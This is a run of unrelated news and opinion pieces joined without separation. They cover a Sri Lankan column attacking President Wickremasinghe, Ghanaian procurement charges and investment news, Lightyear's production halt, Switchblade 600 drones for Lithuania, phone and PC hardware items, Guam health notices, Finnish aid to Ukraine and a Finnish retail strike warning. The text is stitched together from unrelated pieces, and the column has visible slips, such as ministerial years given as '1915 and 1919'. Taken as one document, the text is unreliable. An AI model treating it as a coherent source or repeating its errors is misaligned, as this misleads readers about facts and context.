It is well known that his popular support is minimal. An overwhelming majority of his UNP party broke away in 2020 and formed the Samagi Jana Balawegaya(SJB  United Peoples Movement) under the then deputy leader, Sujith Premadasa.

When Ranil Wickremasinghe contested from the UNP for the Colombo District in 2020, he obtained only 30,875 votes (2.61%)! Therefore, some people called him two percent leader!He, however, obtained a nominated seat in Parliament through the national list, a much controversial system that his uncle J. R. Jayewardene introduced to distort the electoral system in the country.

Now he is the President! This situation itself shows that there is much distortion in the democratic system in Sri Lanka which must be corrected as soon as possible with the support of the international community. Does this situation have any economic repercussions? Yes, this is my observation and opinion. Let me raise the question who brought him to this power? It is well known, but some people forget that it was Gotabaya Rajapaksa, a war criminal, who brought him to this situation.

Of course, Gotabaya Rajapaksa had a popular backing of 6.9 million at the last presidential elections. But this does not apply to Ranil Wickremasinghe. Among the poor-quality political leaders of the country, RW appears to have some knowledge of economics! But his ideology prevails over this knowledge or ability.

He talks about a social market economy. But practicesa pure market yet depending on friends and associates. He was directly involved in the Bond Scam in 2015. He is also largely responsible for the present economic crisis, being the Prime Minister and the Minister of Finance during 1915 and 1919. Didnt he know about the unbearable debt obligations that the country was burdened with by that time? He repeatedly took loans and even sold the Hambantota port to China!

Aragalaya and the President

There is no question that the burning of his house in Colombo during the Aragalaya (struggle) last year was reprehensible. No democratic struggle in the country should go to that extent although the Universal Declaration of Human Rights warn the governments that if man is not to be compelled to have recourse, as a last resort, to rebellion against tyranny and oppression, that human rights should be protected by the rule of law (UDHR Preamble).

Could there be any doubt that the rule of Gotabaya Rajapaksa was like tyranny and oppression? He was not elected for that purpose in 2020. People do make mistakes in voting, but democratic systems allow people to correct them through democratic discussion, dialogue, regular elections and believing in human rights. However, I have never heard Wickremasinghe talking about human rights even as deception! This is no surprise because he is a member of the International Democratic Union (IDU), which was founded by people like Margaret Thatcher and George W. Bush. The members of this group call themselves center-right, perhaps to avoid the more realistic characterization of far-right.

The last stages of Wickremesinghe-Sirisena rule in 2019, the Easter Sunday attacks happened like Sri Lankas holocaust and until recently no iota of justice was served. Sirisena is the other culprit of economic-political disasters of the country like Gotabaya, Basil, and Mahinda Rajapaksa. All these people should go away from politics, and if not, they should be completely thrown out. Like Sirisena, Wickremasinghe also should be responsible for the Easter attacks.

Look at the way leaders in mature democracies behave. In New Zealand, Jacinda Arden was elected as the Prime Minister in 2017 from the Labor Party. She has now given her resignation allowing another leader to take over. Few months before Sri Lankan holocaust, two Muslim mosques were attacked by a single terrorist on the other side. Arden stood for justice firmly. Almost everyone admired the courage and impartiality of her.

During the last couple of years, many countries faced similar crises and challenges with Covid 19, economic depressions, terror attacks, and global warming. Except people like Donald Trump or our lot, many leaders did not stick to power but duty. Duties are something that our political leaders are probably unaware of. When people have rights, the leaders have and should respect their duties. Otherwise, they should go home.

Importance of Local Governments

The local government institutions are the base of our democracy with ancient roots. Throughout centuries, people used to rely on GramaSabhas (Village Councils) for their day-to-day necessities and functions. When I was a child, I clearly remember what the Moratuwa Urban Council (now Municipal) did for our community. Collection of faeces and disposing of them; maintenance of roads and cleaning them; and looking after health of the people through PHIs, Midwifesand Dispensers are some I can closely remember. There were no major political rivalries. The best people were elected, but mostly left-oriented ones. No one appeared to make money or be involved in heinous activities.

During my academic career (1969-2010 with intervals), I have been involved in research on the local government system with colleagues and students in Monaragala, Badulla, Kalutara and Mahiyanganaya. The potential of Pradeshiya Sabhas particularly in democracy and economic development were very clear. Visits to Jaffna and Kilinochchi had confirmed the same. This is what Ranil Wickremasinghe, and the Rajapaksa gangs are now trying to destroy.

Wickremasinghes uncle, J. R. Jayawardene, also postponed the local government elections in 1978 and thereafter, on the pretext of introducing a District Council system. I was in Jaffna in 1981 and experienced the repercussions just before the burning of the Jaffna Library. It was to the credit of R. Premadasa that the Pradeshiya Sabha Act could be passed in 1987 and resurrect the local government system again with a clear link to the social and economic developments in particularly the rural areas. Premadasas background in the old Labor Party perhaps engineered this connection. Wickremasinghes background in this respect was and is the opposite.

For a Peaceful Uprising

I again would like to reiterate that the burning of Wickremasinghes house in Colombo and other houses of Ministers and MPs is completely reprehensible. The occupation and damaging of the Presidents House and Presidential Secretariat also cannot be approved whatever the anger of the people and youth. These violations happened in line with Donald Trumps instigations and politics in the USA.

However, Wickremasinghe should not lead the country in the same manner. If somebody named Anil was involved in those burnings and violence, Ranil should not follow Anil, and abuse peoples political power and democratic system. If that is the case, the people have every right to protest and stage a democratic uprising. To avoid that,Wickremasinghe should allow the holding of local government elections without any interference. Otherwise, in my opinion, it would be his political suicide.

A peaceful and democratic uprising would be the most effective and legitimate. I would propose the Samagi Jana Balavegaya (SJB) and the Jathika Jana Balavegaya to gettogether in this democratic and peaceful venture. The support of Tamil and Muslim parties also should be sought. Any Aragalaya (struggle) without a clear direction and leadership would be hijacked by unreliable, anarchist and misguided sections.

Laksiri Fernando, Professor of Political Science and Public Policy, is a specialist on human rights having completed his PhD on the subject at the University of Sydney. His major books include, Human Rights, Politics and States in Burma, Cambodia and Sri Lanka; A Political Science Approach to Human Rights; Academic Freedom 1990; Police Civil Relations for Good Governance; Sri Lankas Ethnic Conflict in the Global Context among others. Having served as Dean, Faculty of Graduate Studies (FGS Colombo), he is a promoter of post graduate studies.
4 persons involved in Northern Dev. Authority, A&Qs Consortium contract charged by OSP

Kweku Zurek Jan - 24 - 2023 , 08:43

The Office of the Special Prosecutor (OSP) has charged four people for respective breaches of the Public Procurement Act, 2003 (Act 663) in their operations at the Northern Development Authority (NDA).

The four are the Chief Executive of the Northern Development Authority, Mr. Sumaila Abdul-Rahman; the Deputy Chief Executive (Operations) of the NDA, Mr. Stephen Yir-eru Engmen; the Deputy Chief Executive (Finance & Administration) of the NDA, Mr. Patrick Seidu and the Chief Executive of A&QS Consortium Limited, Mr. Andrew Kuundaari.

The findings are the results of a six-month investigation triggered by a written complaint dated June 15, 2022, by Mr. Martin Luther Kpebu, a private legal practitioner who requested for an investigation into the operations of the NDA and the actions of its Chief Executive and Board Chairman.

The OSP interviewed twenty persons over a period of four months, as part of the investigation.

Report

The report by the OSP into the investigation dated January 24, 2023, found that Mr. Abdul-Rahman, Mr. Engmen, Mr. Seidu, and Mr. Kuundaari influenced the procurement process to obtain an unfair advantage to A&QS in the procurement for consultants by the NDA under the Infrastructure for Poverty (IPEP) by increasing the approved procurement total contract sum of GH5,720,000.00 by an amount of GH4,680,000.00 to an amount of GH10,400,000.00 without lawful authority.

It also found that Mr. Kuundaaris submission of invoices for the inflated GH10,400,000.00 contract sum was borne of mischief. It said he knowingly submitted invoices on behalf of A&QS in excess of the approved procurement total contract sum of GH5,720,000.00) by an amount of GH4,680,000.00).

The report added that he succeeded in securing approval for the payment of GH8,328,840.00), which exceeded the approved procurement total contract sum by an amount of GH2,608,840.00 with a further outstanding amount of GH2,071,160.00).

It said the invoices were "the building blocks of a carefully staged design to directly and indirectly influence the public procurement process to obtain an unfair advantage in the award of a procurement contract by NDA to A&QS under the IPEP".

"Mr. Abdul-Rahman, Mr. Engmen, and Mr. Seidu intended their actions to, and their actions did in fact, directly or indirectly influence the procurement process to obtain an unfair advantage to A&QS in the procurement for consultants by NDA under the IPEP by pushing through and/or approving and/or contributing to approve and/or contributing to cause the approval for payment to A&QS two (2) invoices totaling Eight Million Three Hundred and TwentyEight Thousand cedis Eight Hundred and Forty cedis (GHC8,328,840.00) and exceeding the approved procurement total contract sum of Five Million Seven Hundred and Twenty Thousand cedis (GHC5,720,000.00) by an amount of Two Million Six Hundred and Eight Thousand Eight Hundred and Forty cedis (GHC2,608,840.00) with a further outstanding amount of Two Million Seventy One Thousand One Hundred and Sixty cedis (GHC2,071,160.00), without lawful authority," the report reads.

"Mr. Engmen intended his actions to, and his actions did in fact, directly and indirectly influence the procurement process to obtain an unfair advantage to A&QS in the procurement for consultants by NDA for consultants under the IPEP by purporting, without lawful authority, to accept on behalf of NDA, an offer from A&QS for consultancy services for the design and supervision of construction infrastructure works and engineering services under the IPEP at a time when he was fully aware that NDA had not applied for PPA approval for the procurement of A&QS and PPA had not approved the procurement of A&QS by NDA".

The report signed by the Special Prosecutor, Mr. Kissi Agyebeng also commended the complainant, Mr Martin Kpebu for his public spiritedness and sense of duty.

It will be recalled that on July 1 last year, the Special Prosecutor directed the Controller and Accountant General to immediately freeze payments to A&QS under NDAs implementation of the IPEP until the close of the investigation.

The report noted that while lifting that directive in principle, the Special Prosecutor advises all public officers in the approval chain to advert their minds to the tenor of a January 16, 2020, PPA approval for the procurement by NDA of A&QS and to ensure value for money. The tenor stated that the prescribed full contract price for the procurement of A&QS was GHC5,720,000.00.

About IPEP & NDA

In 2017, the ruling New Patriotic Party instituted the Infrastructure for Poverty Eradication Programme (hereafter, IPEP) in fulfilment of a campaign promise to reduce poverty, especially in rural and deprived communities, through the allotment of the cedi equivalent of One Million United States dollars to every electoral constituency.

In pursuance of the IPEP, the government created the Ministry for Special Development Initiatives and it further established three development authorities  Coastal Belt Development Authority, Middle Belt Development Authority and Northern Development Authority, which replaced Savannah Accelerated Development Authority.

The Northern Development Authority was established under the Northern Development Authority Act, 2017 (Act 963) to mobilise resources for the accelerated economic and social development of the Northern Development Zone  constituting the Northern, Savannah, North East, Upper West and Upper East Regions and comprising fifty-seven (57) electoral constituencies. It is headquartered in Tamale in the Northern Region.

Read the entire OSP report below;
Sub-Saharan Africa must develop strategies to attract investments  Yofi Grant

Kester Aburam Korankye & Linda Sah Jan - 24 - 2023 , 12:28

THE Chief Executive Officer of the Ghana Investment Promotion Centre (GIPC), Yofi Grant, has called on countries in sub-Saharan Africa to develop new strategies to attract foreign direct investments (FDIs).

He said the changing landscape of the global economy had made it imperative for countries in Africa to develop new narrations in their relationship with the rest of the world to help attract the needed investments that would propel growth.

Mr Grant made the call at the Ministers Press Briefing series in Accra yesterday where he provided an update on an upcoming annual assembly of Africa Investment Promotion Agencies.

Summit

The summit will be held on Wednesday, January 25, in Accra, on the theme: The role of IPAs in facilitating intra African trade.

Mr Grant, who is also the sub-Saharan Africa representative on the board of the World Association of Investment Promotion Agencies, said the event would provide a platform for discussions on how to increase FDI flows into the continent.

Participants will also discuss emerging opportunities that the Africa Continental Free Trade Area (AfCFTA) presents and how various development actors can leverage them to facilitate trade on the continent and boost socio-economic development.

Collective engagement

Mr Grant further said that the summit would set the tone for collective engagements on how development actors could target, channel and leverage foreign investments for mutually beneficial outcomes.

By 2050, Africa will be a quarter of the global population.

What if by 2050 Africa was also the recipient of a quarter of global FDI flows?

As we look inward to how we can promote intra-African trade through the AfCFTA, Africa needs to redefine how we look outward towards our investor partners.

This redefinition is best created when we sit around the table and discuss where we are and where we want to go.

This is why we are convening the first meeting.

Through this we hope to deepen and continue engagements for the formation of an association of Africa Investment Promotion Agencies, he said.

Mr Grant also said that the meeting would open up on the current situation for extensive deliberations.

According to him, Latin America attracted about $620b FDI post-COVID-19 era, Asia some $140b, and the whole of the African continent $83b.

The Africa continent is the most resourced in terms of natural resources, and in this day and age of energy transitions, the continent is very well positioned in a way to actually solve many of the global problems, he said.
UESD signs memoranda with entities to preserve ecosystem

Severious Kale-Dery Jan - 24 - 2023 , 11:50

THE University of Environment and Sustainable Development (UESD) in the Eastern Region has signed memoranda of understanding (MoU) with some ministries, research institutions, non-governmental organisations and other institutions that are operating within the area of the mandate of the university to that effect to profile areas and also preserve the ecosystem and primates in the country.



The university has signed agreements with the Ministry of Fisheries and Aquaculture, the West African Primate Society, the Akwamu Guage, among others.

We are working gradually and also identifying some natural deposits that our students can use.

Recently, in parts of the Manya Krobo District in the region, some deposits have been identified, which are relevant to our students pursuing geography and earth science, the Vice Chancellor of the university Professor Eric Nyarko-Sampson told the Daily Graphic in an interview in Somanya.

Initial operations

The university currently has accreditation for 20 academic programmes granted by the Ghana Tertiary Education Commission (GTEC), out of which 12 are being offered by the students.

As a specialised university, it offers undergraduate programmes in science and environmental related programmes such as BSc Geography and Earth Science; BSc Energy and Resource Economics; BSc Environment and Public Health; BSc Water Resource Management; BSc Aquaculture management, among others.

Agreements

Prof. Nyarko-Sampson announced that the agreement with the West African Primate Society sought to preserve the primates and the monkeys in the country.

Additionally, he said the university was also profiling picathartes birds, an endangered species found in the rain-forests of tropical West and Central Africa.

In the whole of the country, this bird, which is said to be in danger of extinction, can be found only in the Akwamu Guage in the Eastern Region.

There is also another tree that can only be found in Ghana, Guinea and Ivory Coast. So, we are working to profile such areas and also look at how we can also preserve them, the Vice Chancellor revealed.

On community relations, Prof. Nyarko-Sampson described it as very strong, saying that the institutions level 300 students had just returned from a six-week residency study of the community, during which they were expected to profile the community they were sent to live in.

The reason is that we want the students to be abreast of the happenings in the community, such that they will be in the position to find solutions to whatever happens in those communities.

So, this community aspect is that during the second year, students are made to profile the community, tell us everything about the community, under the supervision of some selected lecturers, and then during the third year of the long vacation, the students will go back to those communities with the solutions they have proposed with the people, he explained.

Prof. Nyarko-Sampson explained that a community durbar, where the community leaders, management of the university and the university community would be present to listen to what they did and what they are going to do will be held.

So, we want our students to begin straight away with living in the community and looking at challenges or problems arising there, he explained.
We are proud of modest gains

Maclean Kwofi Politics Jan - 24 - 2023 , 12:51

The Vice President, Dr Mahamudu Bawumia, says he is proud of the modest gains achieved by the Akufo-Addo-led New Patriotic Party (NPP) administration.

Notwithstanding the achievements, the Vice President said there was still more room for improvement and that the government was working tirelessly to get the country back on track.

Speaking at this years edition of the Annual New Year School at the University of Ghana (UG), he indicated that We have succeeded in creating a conducive business climate that is spurring on the growth of the private sector.

Our whole objective is to unleash the innovative and entrepreneurial talents of the Ghanaian private sector to drive rapid growth and job creation, and take advantage of the opportunities that will be presented by the African Continental Free Trade Area (AfCFTA).

The theme for this years Annual New Year School and Conference was: Positioning the African Market for Sustainable Economic Development through African Continental Free Trade Area (AfCFTA).

We will promote AfCFTA

The Vice President continued that While recent domestic and global economic challenges have negatively impacted our economy, it is important that we promote the efforts of key stakeholders in AfCFTA such as industry, the private sector, academia and government to reposition Ghana through trade.

He said this was necessary because the African Continental Free Trade Area provides an important barometer for Ghanas quest to boost economic development through regional trading.

When you consider the fact that trade between African countries remains low, currently standing at some 16 per cent of our combined GDP, compared to other parts of the world, like the European Unions 75 per cent, it is obvious that these very low levels of intra-regional trade cannot improve our prospects of bringing prosperity to our peoples.

A large part of the growth and prosperity that we seek on the continent will come from us trading more among ourselves, he noted, adding that the coming into force of the AfCFTA means that Africa now has the worlds largest free trade area since the formation of the World Trade Organisation.

The Free Trade Area will cover a market of 1.2 billion people, with a combined GDP of $3.4 trillion, across the fifty-four (54) Member States of the African Union that have signed up to the Agreement.

For him, It will provide the vehicle for us to trade among ourselves in a more modern and sophisticated manner; it will offer a huge opportunity to exploit the abundant wealth and resources of our great continent for the benefit of all our people; and it would give us protection in the way we deal with other trading blocks.

Self-reliant

Dr Bawumia was of the firm belief that the coming into force and successful implementation of the AfCFTA ties is perfectly in line with the vision of moving our country to a self-reliant Ghana that has freed herself from a mindset of dependence, charity and handouts, and is determined to make intelligent, disciplined use of her considerable resources the basis for her growth and prosperity.

This vision can be better realised if we can leverage the trade and investment opportunities the AfCFTA presents, he noted.

There is a new Africa emerging, with a sense of urgency and purpose, and an aspiration to become self-reliant, and move the continent to a situation of self-sufficiency, progress and prosperity.
Lightyear, the developer of solar electric vehicles, will redirect its focus and resources completely towards the development and production of Lightyear 2, its intended mass-market model. This means the suspension of the production of Lightyear 0, the first production solar car.

Accordingly, Lightyear has submitted the request to the court to open suspension of payment proceedings in relation to Atlas Technologies B.V., the operating company responsible for the production of Lightyear 0. This is a subsidiary of Atlas Technologies Holding B.V. Atlas Technologies Holding B.V., which holds the IP rights, and Lightyear Layer B.V. are not in scope of the suspension of payments proceedings of Atlas Technologies B.V.





Lightyear 2 teaser.

Unfortunately we had to make this decision. The whole process of developing Lightyear 0 has provided our company many valuable learnings over the past years. We are now redirecting all our energy towards building Lightyear 2 in order to make it available to clients on schedule. Recently, we launched a waitlist for Lightyear 2 resulting in more than 40,000 subscriptions of individual customers and we already had approximately 20,000 pre-orders from fleet owners. We hope to conclude some key investments in the coming weeks in order to scale up to Lightyear 2, an affordable solar electric vehicle available for a wider audience. CEO and Co-Founder Lex Hoefsloot

Earlier in January, Lightyear signed a pre-order agreement with Arval, Europes #1 full service multibrand vehicle leasing company, and key player in sustainable mobility solutions, owned by the BNP Paribas Group. The pre-order entails 10,000 units of Lightyear 2.

The total of Lightyear 2 pre-orders from B2B partners now exceeds 21,000 units, corresponding to a revenue of nearly 840 million. This news came one week after Lightyear has opened the Lightyear 2 waitlist for consumers to get priority in the pre-order process later this year.
Lithuania became the first export customer for Switchblade 600 loitering munition. The $48 million deal gets Lithuania several thousand Switchblade 600s. Ukraine is already using the smaller but smaller 2,5 kg (5.5 pound) Switchblade 300s and possibly 600 as well. The 600 is a new Switchblade model that was introduced in 2020. It is the latest version of the original Switchblade loitering munition that appeared in 2011. While the original Switchblade weighed a kilogram (2.2 pounds), the latest Switchblade is ten times heavier at 23 kg (50 pounds), can stay in the air for 40 minutes and be controlled up to 80 kilometers from the operator. Top speed is 180 kilometers an hour and more economical cruise speed is closer to 150 kilometers an hour. The heavier warhead can destroy most tanks, although some modern tank designs include protection from top attack.

Switchblade 600 was requested by the U.S. Army for longer range surveillance missions and the option to hit specific small targets, like a building or enemy position. Unlike the earlier Switchblades, the 600 uses a tablet controller with more options, including manipulating the more powerful vidcam carried. Video transmitted back to the operator can be saved and passed on. The operator also has a wave off feature in which a quick tap on the controller screen can cause the 600 to abort an attack and be available for another try. The 600 can also be programmed to carry out a mission without operator control. This means there is no control signal for enemy electronic warning systems to detect or jam. In this case when time is up the 600 self-destructs. The 600 can be carried into a remote area and used quickly.

Lithuania needs Switchblade 600 because it is a small country (2.8 million people) that borders Russia and Belarus as well as the Baltic Sea. Lithuania has one of the highest per-capita GDPs in the world, one that is higher than Russia and Belarus. Active-duty military forces are only 20,000 personnel and conscription was revived in 2015 because of Russian attacks on Ukraine. Lithuania, Latvia and Estonia are the three small Baltic States that were all part of Russia until 1991. All have small armed forces and have spent more on weapons and equipment since 2015. The Baltic States have been big supporters of aid to Ukraine which, they realize, is fighting to repel the 2022 Russian invasion. That fighting also defends the Baltic States and Poland, who are next on the Russian conquest list. These four countries have been victims of Russian aggression many times in the past thousand years. The Switchblade 600s are a useful addition to the Lithuanian arsenal because they provide the troops with an effective surveillance and attack missile that is portable and easy-to-use.

The original Switchblade was a small UAV (Unmanned Aerial Vehicle) launched, like all Switchblades, from its shipping container. Switchblade was sent to Afghanistan in 2009 for secret field testing. This was very successful and the troops demanded more,and more, and more. Switchblade completed development later in 2009 and was initially thought useful only for special operations troops. In 2011, after a year of successful field testing, the army ordered over a hundred Switchblades for troop use and since then has ordered a lot more.

While Switchblade was developed for the army, the marines apparently noted the success that soldiers and SOCOM (Special Operations Command) had with this system and ordered them as well. Switchblade was very popular with troops in Afghanistan and with SOCOM in all sorts of places they wont discuss in detail. Thousands were ordered, many which were used, and Switchblade is still in use. There have been several upgrades

The original Switchblade was a lightweight and expendable (used only once) UAV that could also be equipped with explosives. The Switchblade is launched from its shipping and storage tube, at which point wings flip out, a battery-powered propeller starts spinning and a vidcam begins broadcasting images to the controller. The Switchblade is operated using the same controller as the larger (two kg) reusable Raven UAV. A complete Switchblade system (missile, container, and controller) weighs 5.5 kg (12.1 pounds).

Moving at up to a kilometer a minute, the Switchblade can stay in the air for 20-40 minutes, depending on whether or not it is armed with explosives. Switchblade can operate up to ten kilometers from the operator. The armed version can be flown to a target and detonated, having about the same explosive effect as a hand grenade. Thus, Switchblade enables ground troops to get at an enemy taking cover in a hard to see or fire on location.

Technically a guided missile, the use of Switchblade as a reconnaissance tool encouraged developers to refer to it as a UAV. But because of the warhead option, and its slow speed, Switchblade also functions like a rather small cruise missile. The troops were particularly enthusiastic about the armed version because it allowed them to more quickly take out snipers or a few bad guys in a compound full of civilians.

Switchblade has been so successful that the army ordered several upgrades and this updated Switchblade was renamed Switchblade 300. The new version appeared in 2016. It is heavier (2.7 kg) with 15 minutes endurance and a 10-kilometer range. The sensor has night vision and is stabilized. The 300 can lock onto a target and track it. The 300 comes with optional accessories, like a six-pack launcher that is used as part of base defense. This was first used for base protection in 2019 and proved effective and useful. One or more of these six packs are placed near the base perimeter and power is maintained with a solar panel. The base security commander can order a Switchblade to be launched from the six-pack and control it as it searches for a potential target. Switchblade 300 is also capable of being used from a helicopter or larger UAV and controlled from the helicopter or by the operator of the larger UAV (like a Reaper).

The U.S. Navy also requested a version of Switchblade, for reconnaissance only, that could be launched from ships or submerged (at periscope depth) submarines. In this case the sub would have a communications mast on the surface to receive data from what was called the Blackwing. This version is a little heavier, at 1.8 kg (four pounds). The size of the Blackwing is designed to fit into existing navy countermeasure launchers. Blackwing has endurance of about an hour without a warhead, and uses encrypted digital communications compatible with current navy systems. When released from a submarine countermeasures launcher, the Blackwing container pops to the surface and the Blackwing is ejected into flight like the other Switchblades. The U.S. Navy has bought over 200 Blackwings since. Armed versions of Blackwing are available but these have shorter endurance. For subs, reconnaissance is the most important item. The last (2021) Blackwing order was for 120 for use by submarines. Several years of testing convinced submarine personnel that Blackwing was a compact and useful addition to their sensor and surveillance toolbox.

Switchblade is not a unique concept, as these loitering munitions have been around for decades. What Switchblade provided was a design that met the needs of combat troops, especially special operations personnel. Since Switchblade entered service and its popularity became widely known, similar systems have appeared, trying to provide features that Switchblade lacked but the troops would appreciate.
Last month, Google added end-to-end encryption support for RCS group chats in the Messages app. Google has focused on improving the default messaging experience for Android users in recent months and Google Messages now may be gearing up to add the ability to support user profiles in the Google Messages app.

As per a screenshot posted in a Reddit post by u/seeareeff, Google may begin adding user profiles to Google Messages. The screenshot contains a page in the apps settings called Profile with Visibility controls, and settings for notifications that would allow you to receive alerts when a user joins Google Messages.

Source: Reddit u/seeareeff

Although these options can be found by searching for Profiles in Androids Settings app, the toggles dont do anything. Theres also no evidence showing us what a Google Message profile could look like. Chances are that Google is testing the feature internally and plans to release it in a future Beta build of the Messages app.

Profiles could make it easier to identify other participants in a group chat or if someone messages you from an unknown number. Messaging apps have been using Profiles for years, but this would be a feature that not even Apple has with iMessage. The real question is: Do users need profiles for Google's RCS messaging app?

Source
Samsungs Mobile eXperience (MX) team is allegedly working on a bespoke chipset for future Galaxy flagship phones. However, its still early days and it will not be ready for the Galaxy S23 series. However, development is far enough along that TM Roh is scheduled to speak at the S23 unveiling about the new chipset (says Ice Universe). Will it be ready for the S24 series next year?

The answer may be no as Yogesh Brar relayed information that the Snapdragon Mobile Platform for Galaxy will not be a one-off thing for this year but will be used next year as well.

The Galaxy S23 chipset is the SM8550-AC, a variant of the regular Snapdragon 8 Gen 2 (model number SM8550-AB) that runs its CPU and GPU at higher clock speeds. Qualcomm has released AC chips several times in the past, so this isnt new  but this time Samsung has exclusivity on the AC chip.

We dont know whether it is a timed exclusivity or not, that is whether other makers will get to use the overclocked chip later this year. But other makers will eventually get their chance. Brar says that the Snapdragon for Galaxy program will run until Samsung MXs in-house chipset is ready, after that the exclusivity program could jump to another brand.

That might not be until 2025. We will know more after the Galaxy S23 announcement, assuming that TM Roh does offer a sneak peek at whats to come.

Source | Via
Medical examiner Dr. Jeffery Nine told members of the Rotary Club of Tumon Bay he initially was worried about the workload hed face on Guam, because the job as advertised involved 850 death cases a year.

I was like, that cant be possible. So I was working with the (attorney generals) office and the staff to try to figure out what the issue was, said Nine. He said most forensic pathologists in the states handle 250 to 300 cases a year.

I was looking at coming out here to possibly do the work of three people, ... to move into a very expensive place, but I did a lot of work in trying to see where we could cut down on some of the things.

Nine said he quickly found out that every death on the island was being handled by the medical examiner, which he said doesnt make sense.

Theres kind of this rule of thirds of all the deaths that happen in a jurisdiction. About a third of them get reported to the medical examiner and then about a third of those actually get taken in custody by the medical examiner So I started changing some policies. We dont need to bring people to our office that have cancer, are in hospice, and have all these other reasons to have been dying from that were not suspicious or non-natural in any way, Nine said.

He said medical examiners typically focus on homicide, suicides, accidents and suspicious, non-natural deaths. Nine said that involves 350 to 400 cases a year.

Toxicology testing also needed to be implemented as part of death investigations, Nine said.

Medical examiners need to figure out if people are dying from drug overdoses, he said. Were there drugs in the system? What kind of drugs are on the island?

He said he was updating record-keeping systems used by the office. Nine said various agencies were using their own databases and some were handwriting entries in books.

In todays world, thats not going to do very well. Weve instituted a new cloud-based database thats used by most medical examiners in the country, he said.
The University of Guams Guam/Micronesia Geriatrics Workforce Enhancement Program is offering online sessions in February focusing on caregiving for people with dementia.

Some of the sessions are part of CARES Dementia Care for Families, an award-winning program developed specifically for those caring for a loved one living at home.

Module 4: Minimizing Falls

There will be two sessions on Minimizing Falls, one of six modules under the CARES Dementia Advanced Care training program. These sessions will take place:

6-8 p.m. Wednesday, Feb. 1

10 a.m.-noon Saturday, Feb. 4

Remember Me When with Evelyn Flores

Evelyn Flores, a professor of Pacific Island Literatures and CHamoru Studies at the University of Guam, will present Remember Me When: Reminiscence and Identity for Persons with Dementia. The session will take place 6-8 p.m. Feb. 8.

Module 1: Understanding Memory Loss

There will be two sessions on Understanding Memory Loss, the first module of the CARES Dementia Care for Families training and certification program. The sessions will take place:

6-8 p.m. Wednesday, Feb. 15

10 a.m.-noon Saturday, Feb. 18

Caregiver stories, finding support

New group members can share their experiences as family caregivers and receive support and guidance from other members who have had similar experiences. This session will take place 10 a.m.-noon Saturday, Feb. 25.

To attend, participants can use these Zoom links:

Wednesday sessions: zoom.us/j/92072878067

The sessions are free of charge to partners, family members and other caregivers who have ties to Guam and the Micronesian region.

The training program and presentations are part of the ongoing online support groups for family caregivers of people with dementia being conducted by Guam/Micronesia Geriatrics Workforce Enhancement Program of the UOG School of Health.

For more information, contact Iain Twaddle or Nikolas Gutierrez at 671-735-2883 and gwep.tgss@triton.uog.edu, or Rhoda Orallo at 735-3277 and r.orallo@hspguam.com.
Compucase Enterprise, based in Taiwan, has announced the release of its COUGAR brand mini-tower PC case, the COUGAR PURITY RGB.

The COUGAR PURITY RGB is a sleek and charming mini-tower PC case. According to the company, it is designed to be a functional and minimalist case, with an ARGB LED strip on the left side of the front panel for added illumination. The left side also features a 3mm thick tempered glass with a hinge.

The case features drive bays for 3.5 inch shadow bay x2 (2.5 inch exclusive) and 2.5 inch shadow bay x2. It also includes cooling options such as front 120mmx2, top 120mmx2 (120/240mm size), rear 120mmx1 (120mm size), and a built-in 120mm ARGB fan at the rear.

It can accommodate CPU coolers up to 160mm high, graphics cards up to 305mm long, and power supply units up to 160mm deep. The external dimensions are 200mm wide, 360mm deep, and 392mm high, and it is compatible with MicroATX and Mini-ITX motherboards. The case comes in black and white color options. Sales will begin on January 26th, with the expected market price yet to be announced.






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A decision on the over 400-million-euro package was made based on a government proposal by President Sauli Niinisto . Finland has thereby delivered or pledged to deliver roughly 590 million euros worth of defence materiel across 12 packages to Ukraine.

FINLAND on Thursday decided to deliver its largest package of defence materiel to date to Ukraine.

Minister of Defence Mikko Savola (Centre) on Friday said Ukraine continues to need support in defending its territory against the attack by Russia.

The current package is clearly the largest one to date, he highlighted in a news release.

He stated that the package will comprise heavy weapons and ammunitions, adding that the content was determined based on both the needs of Ukraine and the resources of Finnish Defence Forces. No further details of the content, the means and schedule of delivery will be disclosed for operational reasons and to make sure the package reaches its intended destination.

YLE on Friday reported that experts believe the package could include artillery, ammunition and surface-to-air missiles.

Minister for Foreign Affairs Pekka Haavisto (Greens) said Finland is seeking to provide assistance that matches the acute needs of Ukraine.

Tank systems are associated with training, maintenance and the entire ecosystem that the tank type needs, he said to YLE, referencing the omission of Leopard 2s, German-made main battle tanks that were the focus of negotiations at Ramstein Air Base in Germany on Friday. They arent too quick solutions. Thats why its important that we also provide weaponry that Ukraine can put to use immediately.

The Ministry of Defence stated in its press release that the assistance is made possible partly by a statement of intent enhancing defence co-operation between Finland and Sweden Signed in Germany on Friday, the agreement sees Finland supply defence materiel to Ukraine and Sweden express its readiness to support Finland.

The defence administrations of both countries examined the support to ensure it does not endanger the national defence of either country.

Elevating the co-operation to a new level will enable more effective co-operation in various security situations. You could summarise it by saying were able to provide more effective support to Ukraine due to bilateral co-operation between Finland and Sweden, Janne Kuusela, the director general of Ministry of Defence, summed up to YLE.

Haavisto said Finland could have supplied the materiel also without the support but estimated that the closer co-operation will bolster the national defence capabilities of Finland.

The situation is much more secure because we know that Sweden has materiels we can use if necessary. When countries deliver significant defence aid packages to Ukraine, its important to simultaneously look after their own national defences, he said.

Aleksi Teivainen  HT
PAM on Sunday said it is considering staging a strike in 185 grocery shops and logistics centres that together employ roughly 20,000 people between Monday, 6 February, and Saturday, 11 February. The strike, it added, would be limited to 25 logistics centres for the first three days before expanding to 160 large grocery shops on Thursday, 8 February.

SERVICE UNION UNITED (PAM) on Sunday issued a strike warning that would likely have significant effects on the daily lives of people in Finland.

The Finnish Commerce Federation has been unwilling to discuss pay rises that would secure the purchasing power of employees, stated Annika Ronni-Sallinen, the chairperson at PAM.

Businesses in the retail sector are posting good results while their employees have to cut back on everything to make sure their pay is enough for living. The employees are entitled to proper pay rises.

Helsingin Sanomat on Monday illustrated the potential effects of the strike by pointing out that around 1,000 lorries are processed daily at the grocery logistics centre of Inex Partners, the logistics and transport arm of S Group.

PAM, similarly, viewed that shortages are possible due to the strikes in the logistics centres of Kesko, Lidl and S Group.

Many shops may face quite significant product shortages toward the end of the week. Especially if some sort of hoarding occurs, it could pose challenges to shops when it comes to keeping their doors open, Risto Kalliorinne, the organisation director at PAM, analysed to Helsingin Sanomat.

Im sure shops would try to keep their doors open by using managerial and on-demand employees, but itll be hard. I do think many would have to close their doors.

The Finnish Commerce Federation on Sunday indicated that the strike warning came as a surprise after only four meetings between the two labour market organisations.

